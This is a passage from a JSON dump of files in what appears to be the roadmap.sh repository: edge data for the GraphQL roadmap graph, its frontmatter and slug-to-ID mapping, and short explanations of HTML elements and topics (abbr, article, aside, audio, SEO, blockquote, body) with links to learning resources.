    \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"W_Lg8086ZhrIqtck1sgnb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"hrpb108R8Gyu3hhzkMYzL\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__cSXsu17F1Oy34Wp6J-N3Cy2-hrpb108R8Gyu3hhzkMYzLz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"W_Lg8086ZhrIqtck1sgnb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"MnmwccPahqPCzOhqjfbsY\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__cSXsu17F1Oy34Wp6J-N3Cy2-MnmwccPahqPCzOhqjfbsYz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"W_Lg8086ZhrIqtck1sgnb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"CehwjrCG_wbUU-TFNCuJn\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__cSXsu17F1Oy34Wp6J-N3Cy2-CehwjrCG_wbUU-TFNCuJnz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"W_Lg8086ZhrIqtck1sgnb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Pc9H7AcoqJQkWnuhbytyD\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__cSXsu17F1Oy34Wp6J-N3Cy2-Pc9H7AcoqJQkWnuhbytyDz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"W_Lg8086ZhrIqtck1sgnb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"2SU4dcaz7zwGsF7g8FjmI\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__cSXsu17F1Oy34Wp6J-N3Cy2-2SU4dcaz7zwGsF7g8FjmIz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"W_Lg8086ZhrIqtck1sgnb\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jy_91mhFWbpR6sYVbuX1x\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__W_Lg8086ZhrIqtck1sgnbx2-cSXsu17F1Oy34Wp6J-N3Cw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jy_91mhFWbpR6sYVbuX1x\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"AySlY8AyI6jE-cy-qKKOU\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__cSXsu17F1Oy34Wp6J-N3Cz2-AySlY8AyI6jE-cy-qKKOUy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jy_91mhFWbpR6sYVbuX1x\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"q9TYEygvUyHourdZIvk8G\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__cSXsu17F1Oy34Wp6J-N3Cz2-q9TYEygvUyHourdZIvk8Gy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jy_91mhFWbpR6sYVbuX1x\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"9Q2pGidY-rfkltHq3vChp\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__cSXsu17F1Oy34Wp6J-N3Cz2-9Q2pGidY-rfkltHq3vChpy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jy_91mhFWbpR6sYVbuX1x\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"IbEqXlGjsyNLKE9dZrPPk\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__jy_91mhFWbpR6sYVbuX1xx2-cSXsu17F1Oy34Wp6J-N3Cw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IbEqXlGjsyNLKE9dZrPPk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"RlBc-hWEUOPaEQLTgJa-K\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__cSXsu17F1Oy34Wp6J-N3Cy2-RlBc-hWEUOPaEQLTgJa-Kz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IbEqXlGjsyNLKE9dZrPPk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"kJMyRhasBKfBypent3GxK\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__cSXsu17F1Oy34Wp6J-N3Cy2-kJMyRhasBKfBypent3GxKz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IbEqXlGjsyNLKE9dZrPPk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"CHdzww8_TNfeM6Bp1oTPI\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__cSXsu17F1Oy34Wp6J-N3Cy2-CHdzww8_TNfeM6Bp1oTPIz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IbEqXlGjsyNLKE9dZrPPk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"t6XxFB_lx27kS4FE2_GMH\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__cSXsu17F1Oy34Wp6J-N3Cy2-sJ1_c3e08aehiqNMbIEEPz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IbEqXlGjsyNLKE9dZrPPk\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"lj1WEh4WbfBsoZFYsi1Yz\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__IbEqXlGjsyNLKE9dZrPPkx2-cSXsu17F1Oy34Wp6J-N3Cw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lj1WEh4WbfBsoZFYsi1Yz\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"iYkHCKTsjtvo40f3eZoet\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__lj1WEh4WbfBsoZFYsi1Yzx2-cSXsu17F1Oy34Wp6J-N3Cw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iYkHCKTsjtvo40f3eZoet\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"72wGg6yP8WnEdmkeKL9vh\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__iYkHCKTsjtvo40f3eZoetx2-cSXsu17F1Oy34Wp6J-N3Cw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"72wGg6yP8WnEdmkeKL9vh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"inhjhH-7xJyX8o4DQqErF\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__72wGg6yP8WnEdmkeKL9vhx2-cSXsu17F1Oy34Wp6J-N3Cw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"inhjhH-7xJyX8o4DQqErF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Uf8XxJPs7RzKVhlxiQdbB\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__inhjhH-7xJyX8o4DQqErFx2-cSXsu17F1Oy34Wp6J-N3Cw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JfXwzkN29UGz17FYHHE3A\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"W_Lg8086ZhrIqtck1sgnb\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__JfXwzkN29UGz17FYHHE3Ax2-W_Lg8086ZhrIqtck1sgnbw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Uf8XxJPs7RzKVhlxiQdbB\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Qab1pyIZiJ3Z9q8CuEsc-\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__8YdlLJ_Ki8NxgVzMNeyzox2-mZPU_kbBDBV5j0kaEO-tjw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BVXPP2J15hss2hF85urjN\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Qab1pyIZiJ3Z9q8CuEsc-\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__BVXPP2J15hss2hF85urjNz2-WFO_AwmbUJPAFj0tFClJgy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Qab1pyIZiJ3Z9q8CuEsc-\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"XD0hNlAu05_ZYgv8JvEp1\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__Qab1pyIZiJ3Z9q8CuEsc-x2-WFO_AwmbUJPAFj0tFClJgw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"XD0hNlAu05_ZYgv8JvEp1\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"WFO_AwmbUJPAFj0tFClJg\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__XD0hNlAu05_ZYgv8JvEp1x2-WFO_AwmbUJPAFj0tFClJgw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/graphql/graphql.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/graphql.json'\npdfUrl: '/pdfs/roadmaps/graphql.pdf'\norder: 12\nrenderer: 'editor'\nbriefTitle: 'GraphQL'\nbriefDescription: 'Step by Step guide to learn GraphQL in 2025'\ntitle: 'GraphQL'\ndescription: 'Step by step guide to learn GraphQL in 2025'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 2200\nschema:\n  headline: 'GraphQL Roadmap'\n  description: 'Learn how to use GraphQL with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/graphql.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'GraphQL Roadmap'\n  description: 'Learn GraphQL with this step by step guide and resources.'\n  keywords:\n    - 'guide to learn graphql'\n    - 'graphql roadmap'\n    - 'graphql roadmap 2025'\n    - 'modern graphql roadmap'\n    - 'fullstack graphql roadmap'\n    - 'design and architecture roadmap'\n    - 'scalable design roadmap'\n    - 'design architecture patterns roadmap'\n    - 'application architectures'\nrelatedRoadmaps:\n  - 'frontend'\n  - 'backend'\n  - 'nodejs'\n  - 'javascript'\n  - 'react'\n  - 'vue'\n  - 'angular'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/graphql/migration-mapping.json",
    "content": "{\n  \"graphql-introduction\": \"JfXwzkN29UGz17FYHHE3A\",\n  \"graphql-introduction:graphql-on-the-frontend\": \"6r9XbwlBtHmJrhviG2cTD\",\n  \"graphql-introduction:what-is-graphql\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n  \"graphql-introduction:problems-graphql-solves\": \"2rlmLn_yQQV-7DpX1qT98\",\n  \"graphql-introduction:thinking-in-graphs\": \"J5mU0v491qrm-mr1W3Msd\",\n  \"graphql-introduction:graphql-on-the-backend\": \"ODQ8zrHc2rsc8PN-APKvz\",\n  \"graphql-queries\": \"W_Lg8086ZhrIqtck1sgnb\",\n  \"graphql-queries:what-are-queries\": \"2SU4dcaz7zwGsF7g8FjmI\",\n  \"graphql-queries:fields\": \"Pc9H7AcoqJQkWnuhbytyD\",\n  \"graphql-queries:aliases\": \"B77yLU4SuRChSjEbmYwc-\",\n  \"graphql-queries:arguments\": \"hrpb108R8Gyu3hhzkMYzL\",\n  \"graphql-queries:directives\": \"MnmwccPahqPCzOhqjfbsY\",\n  \"graphql-queries:variables\": \"YZaFEK547FYricfOuANvH\",\n  \"graphql-queries:fragments\": \"CehwjrCG_wbUU-TFNCuJn\",\n  \"mutations\": \"jy_91mhFWbpR6sYVbuX1x\",\n  \"mutations:what-are-mutations\": \"9Q2pGidY-rfkltHq3vChp\",\n  \"mutations:multiple-mutation-fields\": \"AySlY8AyI6jE-cy-qKKOU\",\n  \"mutations:operation-name\": \"q9TYEygvUyHourdZIvk8G\",\n  \"subscriptions\": \"IbEqXlGjsyNLKE9dZrPPk\",\n  \"subscriptions:what-are-subscriptions\": \"RlBc-hWEUOPaEQLTgJa-K\",\n  \"subscriptions:event-based-subscriptions\": \"kJMyRhasBKfBypent3GxK\",\n  \"subscriptions:live-queries\": \"CHdzww8_TNfeM6Bp1oTPI\",\n  \"subscriptions:defer-stream-directives\": \"t6XxFB_lx27kS4FE2_GMH\",\n  \"schema\": \"lj1WEh4WbfBsoZFYsi1Yz\",\n  \"schema:type-system\": \"jpu0_FAlxtD-H80mPcod5\",\n  \"schema:fields\": \"HPdntdgTar1T34CZX8Y6y\",\n  \"schema:enums\": \"wfOsfb0zSAIdNkwFHfBcw\",\n  \"schema:objects\": \"LX9vZpx7yKlf0iR6AtBWz\",\n  \"schema:lists\": \"d2ikbo4sZq7PmaCi5znkd\",\n  \"schema:interfaces\": \"tc_rjJZrr2x3bp8mcoQ0F\",\n  \"schema:unions\": \"59COH3rerJJzKr6vrj4bF\",\n  \"schema:scalars\": \"U-tLelmNQtR-pUq-sxU_2\",\n  \"schema:arguments\": \"A54vi3Ao7fBHyTuqoH_it\",\n  \"validation\": \"iYkHCKTsjtvo40f3eZoet\",\n  \"execution\": \"72wGg6yP8WnEdmkeKL9vh\",\n  \"execution:root-fields\": \"AlJlHZD3_SPoLNaqdM-pB\",\n  \"execution:resolvers\": \"VDur5xYBC0LJtQgDrSEyj\",\n  \"execution:resolvers:synchronous\": \"uPpsj2kCdgKsJpmTaw86u\",\n  \"execution:resolvers:asynchronous\": \"tbDvQBtLRAcD-xYX9V7Va\",\n  \"execution:resolvers:scalar-coercion\": \"QFUOmJlPkkjpcl1vJxg9h\",\n  \"execution:resolvers:lists\": \"sJ1_c3e08aehiqNMbIEEP\",\n  \"execution:validation\": \"I4wNBXV4xEZ0LWBhv5FwF\",\n  \"execution:producing-the-result\": \"zQHifboRreE4OgJ7GnUlp\",\n  \"serving-over-internet\": \"inhjhH-7xJyX8o4DQqErF\",\n  \"serving-over-internet:graphql-over-http\": \"V3bgswBFr1xames3F8S_V\",\n  \"serving-over-internet:graphql-over-http:caching\": \"UYwuUVTeurwODV4_Kdt_W\",\n  \"serving-over-internet:graphql-over-http:batching\": \"v9gVexHfDkpG9z3NL5S-9\",\n  \"serving-over-internet:graphql-over-http:authorization\": \"i-zcfN6RNXhA_sb7DcIon\",\n  \"serving-over-internet:graphql-over-websockets\": \"A-PQ3_FVuCK3Eud75hsdj\",\n  \"serving-over-internet:graphql-over-websockets:real-time\": \"2YLm_S1j_832pb1OGSNaM\",\n  \"serving-over-internet:graphql-over-websockets:authorization\": \"GzwPvLybxTJM96fUhQUOi\",\n  \"serving-over-internet:graphql-over-sse\": \"O8k-m6s9B_uXkLsXKVFnL\",\n  \"serving-over-internet:graphql-over-sse:authorization\": \"G50ZMlmP7Ru5LcFne5Rhu\",\n  \"pagination\": \"Uf8XxJPs7RzKVhlxiQdbB\",\n  \"frontend-implementations:relay\": \"Ab_ngkf6bmejvcp9okuw6\",\n  \"frontend-implementations:apollo-client\": \"D5O7ky5eXwm_Ys1IcFNaq\",\n  \"frontend-implementations:urql\": \"WP0Oo_YMfLBlXqDQQtKes\",\n  \"backend-implementations:graphql-http\": \"datKo3vPDwXoyVskcrdkc\",\n  \"backend-implementations:graphql-yoga\": \"Gotb1xtxySCVC5MrnkPSs\",\n  \"backend-implementations:apollo-server\": \"o_VkyoN6DmUUkfl0u0cro\",\n  \"backend-implementations:mercurius\": \"iTV2H8clmRTOksul4v38p\"\n}"
  },
  {
    "path": "src/data/roadmaps/html/content/abbr@aeovzlUV4oWwZCMcAoRVC.md",
    "content": "# Abbreviation Element\n\nThe `<abbr>` tag in HTML represents an abbreviation or acronym. It's useful for providing a full description of the abbreviated term when the user hovers over it, improving accessibility and clarity. The `title` attribute is used to specify the expanded form of the abbreviation.\n\nVisit the following resources to learn more:\n\n- [@article@<abbr>: The Abbreviation element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/abbr)\n- [@video@HTML abbr tag](https://www.youtube.com/watch?v=yN191Pkg4kg)"
  },
  {
    "path": "src/data/roadmaps/html/content/accesibility@YHoag7UR40OeIVUjfhQg_.md",
    "content": "# Accessibility\n\nAccessibility in HTML refers to the practice of designing and developing web content that is usable by people with disabilities. This involves ensuring that websites and web applications are perceivable, operable, understandable, and robust for individuals who may have visual, auditory, motor, or cognitive impairments, allowing them to access information and interact with the web effectively.\n\nVisit the following resources to learn more:\n\n- [@article@HTML: A good basis for accessibility](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Accessibility/HTML)\n- [@article@HTML Accessibility: Programming with an Inclusive Perspective](https://www.a11y-collective.com/blog/html-accessibility-programming-with-an-inclusive-perspective/)\n- [@video@Accessibility Savvy: Semantic HTML and Accessibility](https://www.youtube.com/watch?v=qSNUi7pRmWg)"
  },
  {
    "path": "src/data/roadmaps/html/content/address@PGKWhfXEd3Iv0AIhL7y4_.md",
    "content": "# Address Element\n\nThe `<address>` element in HTML represents contact information for the author or owner of a document or article. This can include physical addresses, email addresses, phone numbers, and social media links. It's typically used within the `<footer>` of a page or section to provide contact details.\n\nVisit the following resources to learn more:\n\n- [@article@<address>: The Contact Address element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/address)\n- [@video@How do you display addresses in HTML?](https://www.youtube.com/watch?v=P1OCt7x5zSA)"
  },
  {
    "path": "src/data/roadmaps/html/content/article@99wo0cNHe0sU63_aDBrxY.md",
    "content": "# Article Element\n\nThe `<article>` element in HTML represents a self-contained composition in a document, page, application, or site. It is intended to independently distributable or reusable, for example, in syndication. This could be a forum post, a magazine or newspaper article, a blog entry, a user-submitted comment, or any other independent item of content.\n\nVisit the following resources to learn more:\n\n- [@article@<article>: The Article Contents element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/article)\n- [@video@HTML article Tag Tutorial (Semantic Element): Easy Guide for Beginners](https://www.youtube.com/watch?v=C7Sp70_TU40)"
  },
  {
    "path": "src/data/roadmaps/html/content/aside@VahoGEC6I3jX1916MsmUY.md",
    "content": "# Aside Element\n\nThe `<aside>` element in HTML represents a section of a page that is tangentially related to the main content. It's often used for sidebars, pull quotes, or other content that provides additional information or context but isn't essential to understanding the primary content. Think of it as content that can be removed without significantly impacting the user's comprehension of the main topic.\n\nVisit the following resources to learn more:\n\n- [@article@<aside>: The Aside element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/aside)\n- [@video@HTML aside Tag Tutorial (Semantic Element): Easy Guide for Beginners](https://www.youtube.com/watch?v=2uKbSQ0mXGA)"
  },
  {
    "path": "src/data/roadmaps/html/content/audio@k8FZPxFcDPVnXBONWUhME.md",
    "content": "# Audio\n\nAudio on the web involves incorporating sound files into HTML documents. This allows users to listen to music, podcasts, or other audio content directly within a webpage. The HTML `<audio>` element is used to embed audio, providing attributes for controlling playback, displaying controls, and specifying multiple source files for browser compatibility.\n\nVisit the following resources to learn more:\n\n- [@article@<audio>: The Embed Audio element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/audio)\n- [@video@Learn HTML audio in 5 minutes!](https://www.youtube.com/watch?v=uof_zYxtnp0)"
  },
  {
    "path": "src/data/roadmaps/html/content/b--strong@efddQv5AZqvGmIyuYuCr7.md",
    "content": "# b / strong\n\nThe `<b>` and `<strong>` tags in HTML are used to make text appear bold. While both achieve a similar visual effect, the `<b>` tag is primarily for stylistic purposes, indicating text that should be visually distinguished without necessarily conveying importance. On the other hand, the `<strong>` tag signifies that the enclosed text has strong importance, seriousness, or urgency.\n\nVisit the following resources to learn more:\n\n- [@article@<b>: The Bring Attention To element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/b)\n- [@article@<strong>: The Strong Importance element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/strong)\n- [@article@The Difference Between <b> and <Strong> in HTML – Explained with Examples](https://www.freecodecamp.org/news/difference-between-b-and-strong-in-html/)"
  },
  {
    "path": "src/data/roadmaps/html/content/basic-tags@MjGfRzhVZRxu545TbJ1AJ.md",
    "content": "# Basic HTML Tags\n\nHTML documents are structured using fundamental tags that define the document's content and structure. The `<!DOCTYPE html>` declaration informs the browser that the document is an HTML5 document. The `<html>` tag is the root element, encompassing all other HTML elements. Inside `<html>`, the `<head>` tag contains metadata about the document, such as the title and character set, while the `<body>` tag contains the visible content of the webpage. The `<meta>` tag provides metadata like character encoding (`charset=\"UTF-8\"`) to ensure proper text display.\n\nVisit the following resources to learn more:\n\n- [@article@HTML Basic Tags: A Guide for Complete Beginners with Examples](https://www.tutorialspoint.com/html/html_basic_tags.htm)"
  },
  {
    "path": "src/data/roadmaps/html/content/basics-of-seo@yEl77JIN5-ixN5Ay247qp.md",
    "content": "# Basics of SEO\n\nSearch Engine Optimization (SEO) is the practice of improving a website to increase its visibility in search engine results pages (SERPs). This involves optimizing various elements of a website, such as its content, structure, and HTML code, to make it more appealing to search engines like Google. The goal is to rank higher in search results for relevant keywords, which can drive more organic traffic to the website.\n\nVisit the following resources to learn more:\n\n- [@article@Search Engine Optimization (SEO) Starter Guide](https://developers.google.com/search/docs/fundamentals/seo-starter-guide)\n- [@article@What Is SEO?](https://exposureninja.com/blog/what-is-seo/)\n- [@article@GEO (Generative Engine Optimization) vs SEO (Search Engine Optimization): What’s The Difference?](https://writesonic.com/blog/geo-vs-seo)\n- [@video@SEO In 5 Minutes | What Is SEO And How Does It Work](https://www.youtube.com/watch?v=MYE6T_gd7H0)\n- [@video@Why Generative Engine Optimisation (GEO) is the FUTURE of SEO](https://www.youtube.com/watch?v=FoIc8LkSETo)"
  },
  {
    "path": "src/data/roadmaps/html/content/blockquote@B-Bv4aY_tGgWakyT8TgEe.md",
    "content": "# blockquote\n\nThe `blockquote` element in HTML represents a section of text that is quoted from another source. It's used to indicate that the enclosed content is an extended quotation, often displayed with indentation or other visual cues to distinguish it from the surrounding text. The `cite` attribute can be used to specify the URL of the source document or message.\n\nVisit the following resources to learn more:\n\n- [@article@<blockquote>: The Block Quotation element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/blockquote)\n- [@video@The Blockquote and Quote Tags](https://www.youtube.com/watch?v=SNEABGfkWhQ)"
  },
  {
    "path": "src/data/roadmaps/html/content/body@93tSk4RwWfkfOyaA7I9Gn.md",
    "content": "# Body Tag\n\nThe `<body>` tag in HTML defines the main content of an HTML document. It contains all the visible elements of a webpage, such as text, images, links, tables, lists, and more. Think of it as the container for everything you actually see and interact with on a website.\n\nVisit the following resources to learn more:\n\n- [@article@<body>: The Document Body element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/body)"
  },
  {
